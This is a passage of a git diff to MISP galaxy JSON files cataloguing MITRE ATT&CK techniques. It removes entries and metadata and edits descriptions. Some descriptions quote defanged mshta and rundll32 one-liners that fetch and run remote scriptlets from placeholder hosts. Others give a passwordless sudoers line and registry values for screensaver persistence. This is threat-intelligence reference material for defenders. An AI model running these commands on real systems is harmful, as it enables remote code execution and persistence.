C:\\path\\to\\test.msc.(Citation: abusing_com_reg)", "meta": { "external_id": "T1218.014", "kill_chain": [ @@ -28247,7 +25112,7 @@ "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm", "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/", "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/", - "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection" + "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection " ] }, "related": [ @@ -28297,38 +25162,6 @@ "uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", "value": "COR_PROFILER - T1574.012" }, - { - "description": "Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", - "meta": { - "external_id": "T1574.013", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation", - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process: OS API Execution" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1574/013", - "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", - "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess", - "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/", - "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" - ] - }, - "related": [ - { - "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", - "type": "subtechnique-of" - } - ], - "uuid": "a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "value": "KernelCallbackTable - T1574.013" - }, { "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.", "meta": { @@ -28366,12 +25199,6 @@ "description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).", "meta": { "external_id": "T1163", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1163", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", @@ -28394,13 +25221,6 @@ "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", "meta": { "external_id": "T1121", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1121", "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", @@ -28457,7 +25277,6 @@ ], "mitre_data_sources": [ "Drive: Drive Modification", - "File: File Modification", "Firmware: Firmware Modification" ], "mitre_platforms": [ @@ -28481,20 +25300,13 @@ "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", "meta": { "external_id": "T1170", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/", "https://attack.mitre.org/techniques/T1170", "https://en.wikipedia.org/wiki/HTML_Application", "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", "https://msdn.microsoft.com/library/ms536471.aspx", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" @@ -28516,12 +25328,6 @@ "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", "meta": { "external_id": "T1180", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1180", "https://en.wikipedia.org/wiki/Screensaver", @@ -28544,13 +25350,6 @@ "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)", "meta": { "external_id": "T1085", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1085", "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/", @@ -28595,12 +25394,6 @@ "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)", "meta": { "external_id": "T1208", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://adsecurity.org/?p=2293", "https://attack.mitre.org/techniques/T1208", @@ -28688,13 +25481,6 @@ "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", "meta": { "external_id": "T1067", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "Windows" - ], "refs": [ "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion", "https://attack.mitre.org/techniques/T1067", @@ -28717,12 +25503,6 @@ "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)", "meta": { "external_id": "T1086", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", "http://www.sixdub.net/?p=367", @@ -28751,14 +25531,6 @@ "description": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)", "meta": { "external_id": "T1099", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html", "https://attack.mitre.org/techniques/T1099" @@ -28780,13 +25552,6 @@ "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)", "meta": { "external_id": "T1117", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1117", "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", @@ -28811,13 +25576,6 @@ "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", "meta": { "external_id": "T1118", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1118", "https://lolbas-project.github.io/lolbas/Binaries/Installutil/", @@ -28840,13 +25598,6 @@ "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "meta": { "external_id": "T1191", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://attack.mitre.org/techniques/T1191", @@ -28873,12 +25624,6 @@ "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.", "meta": { "external_id": "T1142", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "https://attack.mitre.org/techniques/T1142", @@ -28901,14 +25646,6 @@ "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", "meta": { "external_id": "T1152", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1152", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" @@ -28949,14 +25686,6 @@ "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", "meta": { "external_id": "T1154", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1154", "https://bash.cyberciti.biz/guide/Trap_statement", @@ -28979,13 +25708,6 @@ "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", "meta": { "external_id": "CAPEC-13", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1148", "https://capec.mitre.org/data/definitions/13.html" @@ -29004,7 +25726,7 @@ "value": "HISTCONTROL - T1148" }, { - "description": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n", + "description": "Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n", "meta": { "external_id": "T1491", "kill_chain": [ @@ -29033,12 +25755,6 @@ "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".", "meta": { "external_id": "T1155", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1155", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/" @@ -29074,15 +25790,7 @@ "https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services" ] }, - "related": [ - { - "dest-uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "8197f026-64da-4700-93b9-b55ba55f3b31", "value": "Geofencing - T1581" }, @@ -29090,13 +25798,6 @@ "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.", "meta": { "external_id": "T1519", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "http://www.magnusviri.com/Mac/what-is-emond.html", "https://attack.mitre.org/techniques/T1519", @@ -29137,13 +25838,6 @@ "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.", "meta": { "external_id": "T1169", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1169", "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" @@ -29165,14 +25859,6 @@ "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)", "meta": { "external_id": "T1179", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation", - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.gmer.net/", "https://attack.mitre.org/techniques/T1179", @@ -29267,18 +25953,10 @@ "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html" ] }, - "related": [ - { - "dest-uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", "value": "Keychain - T1579" } ], - "version": 21 + "version": 22 } diff --git a/clusters/mitre-course-of-action.json b/clusters/mitre-course-of-action.json index fc7cb43..53f02cf 100644 --- a/clusters/mitre-course-of-action.json +++ b/clusters/mitre-course-of-action.json @@ -331,13 +331,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", "tags": [ @@ -415,13 +408,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", "tags": [ @@ -534,13 +520,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "e74de37c-a829-446c-937d-56a44f0e9306", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ @@ -887,56 +866,21 @@ }, "related": [ { - "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", + "dest-uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "tags": [ - 